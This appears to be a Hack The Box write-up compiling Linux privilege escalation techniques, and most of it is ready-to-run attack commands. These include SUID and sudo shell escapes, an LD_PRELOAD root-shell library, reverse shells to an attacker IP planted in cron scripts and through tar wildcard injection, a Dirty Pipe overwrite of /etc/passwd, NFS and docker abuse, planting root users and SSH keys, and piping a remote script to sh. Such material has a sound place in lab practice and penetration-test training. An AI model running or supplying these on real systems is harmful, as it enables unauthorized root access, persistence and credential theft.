Hack The Box: Linux Privilege Escalation Techniques

Overview

Privilege escalation is often the most challenging part of a penetration test. This writeup compiles techniques I’ve used across various Hack The Box machines to escalate from low-privilege user to root.

Initial Enumeration

Always start with thorough enumeration:

# System information
uname -a
cat /etc/*release
hostnamectl

# Current user context
id
whoami
groups

# Other users
cat /etc/passwd | grep -v nologin | grep -v false
ls -la /home/

Automated Enumeration

# LinPEAS - comprehensive enumeration
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# LinEnum
./LinEnum.sh -t

# LSE (Linux Smart Enumeration)
./lse.sh -l 1

SUID/SGID Binaries

Finding SUID Binaries

find / -perm -4000 2>/dev/null
find / -perm -2000 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

Common SUID Exploits

GTFOBins is the reference for SUID exploitation:

/usr/bin/find

find . -exec /bin/sh -p \; -quit

/usr/bin/vim

vim -c ':!/bin/sh'

/usr/bin/python

python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

/usr/bin/nmap (older versions)

nmap --interactive
!sh

Custom SUID Binary Analysis

Found a custom SUID binary? Analyze it:

# Check what it does
strings /usr/local/bin/backup
ltrace /usr/local/bin/backup
strace /usr/local/bin/backup

# Look for relative path calls
strings /usr/local/bin/backup | grep -E "^[a-z]"

Example: Path Hijacking

If a SUID binary calls cat without full path:

# Create malicious cat
echo '/bin/bash -p' > /tmp/cat
chmod +x /tmp/cat

# Prepend to PATH
export PATH=/tmp:$PATH

# Run SUID binary
/usr/local/bin/backup
# Root shell!

Sudo Misconfigurations

Check Sudo Rights

sudo -l

Common Sudo Exploits

LD_PRELOAD (if env_keep)

# Check if LD_PRELOAD is preserved
sudo -l
# env_keep+=LD_PRELOAD

# Create shared object
cat > /tmp/shell.c << EOF
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash -p");
}
EOF

gcc -fPIC -shared -nostartfiles -o /tmp/shell.so /tmp/shell.c

# Run with LD_PRELOAD
sudo LD_PRELOAD=/tmp/shell.so /usr/bin/allowed_command

sudo vim/vi/nano

sudo vim -c ':!/bin/bash'
sudo nano
# Ctrl+R, Ctrl+X, then: reset; sh 1>&0 2>&0

sudo less/more

sudo less /etc/passwd
!/bin/bash

sudo awk

sudo awk 'BEGIN {system("/bin/bash")}'

sudo tar

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

Cron Jobs

Finding Cron Jobs

cat /etc/crontab
ls -la /etc/cron.*
cat /var/spool/cron/crontabs/*
systemctl list-timers

# Watch for running processes
watch -n 1 'ps aux | grep -v watch'

# Use pspy for process monitoring
./pspy64

Exploiting Writable Scripts

If a cron job runs a script you can write to:

# Check permissions
ls -la /opt/scripts/backup.sh

# Append reverse shell
echo 'bash -i >& /dev/tcp/10.10.14.XX/4444 0>&1' >> /opt/scripts/backup.sh

Wildcard Injection

If cron runs something like tar * in a writable directory:

# In the target directory
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo 'bash -i >& /dev/tcp/10.10.14.XX/4444 0>&1' > shell.sh

Kernel Exploits

Identifying Vulnerable Kernels

uname -r
cat /proc/version

Notable Kernel Exploits

Kernel Version	Exploit	CVE
2.6.22 < 3.9	Dirty COW	CVE-2016-5195
4.4.0-116	Ubuntu AF_PACKET	CVE-2017-6074
5.8 < 5.16.11	Dirty Pipe	CVE-2022-0847
4.10 < 5.1	PTRACE_TRACEME	CVE-2019-13272

Example: Dirty Pipe (CVE-2022-0847)

# Check if vulnerable
uname -r  # 5.10.0-10-amd64

# Compile and run
gcc -o dirty_pipe dirty_pipe.c
./dirty_pipe /etc/passwd 1 "oot::0:0:root:/root:/bin/bash"

# Now su to root with no password
su root

Capabilities

Finding Capabilities

getcap -r / 2>/dev/null

Exploiting Capabilities

CAP_SETUID on Python

# If python3.8 has cap_setuid+ep
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'

CAP_DAC_READ_SEARCH on tar

# Can read any file
tar -cvf shadow.tar /etc/shadow
tar -xvf shadow.tar
cat etc/shadow

NFS Root Squashing

Check NFS Exports

cat /etc/exports
showmount -e target_ip

If no_root_squash is set:

# On attacker machine
mkdir /tmp/nfs
mount -t nfs target_ip:/share /tmp/nfs

# Create SUID binary
cp /bin/bash /tmp/nfs/
chmod +s /tmp/nfs/bash

# On target
/share/bash -p

Docker Group

If current user is in the docker group:

# Mount host filesystem
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# Or with existing image
docker run -v /root:/mnt -it ubuntu
cat /mnt/root.txt

Writable /etc/passwd

If /etc/passwd is writable:

# Generate password hash
openssl passwd -1 -salt xyz password123
# $1$xyz$...

# Add root user
echo 'newroot:$1$xyz$...:0:0::/root:/bin/bash' >> /etc/passwd

# Switch to new root user
su newroot

SSH Keys

Finding Keys

find / -name "id_rsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
cat /home/*/.ssh/*

Adding Your Key

If you can write to an authorized_keys file:

# Generate key on attacker
ssh-keygen -f pwned

# Add public key
echo "ssh-rsa AAAA... attacker@kali" >> /root/.ssh/authorized_keys

# SSH in as root
ssh -i pwned root@target

Summary Table

Vector	Detection	Exploitation
SUID	`find / -perm -4000`	GTFOBins
Sudo	`sudo -l`	GTFOBins, LD_PRELOAD
Cron	`/etc/crontab`, pspy	Script modification
Kernel	`uname -r`	Public exploits
Capabilities	`getcap -r /`	Capability abuse
NFS	`/etc/exports`	no_root_squash
Docker	`id` (docker group)	Mount root filesystem
SSH Keys	`find / -name id_rsa`	Key reuse

Key Takeaways

Enumerate thoroughly — Automated tools help but manual checking catches edge cases
Check GTFOBins — Most SUID/sudo escalations are documented
Monitor processes — pspy reveals hidden cron jobs and scripts
Kernel exploits are risky — Can crash the system, use as last resort
Document everything — Take notes for reporting and learning

Always try the “easy” vectors first (sudo, SUID, cron) before attempting kernel exploits.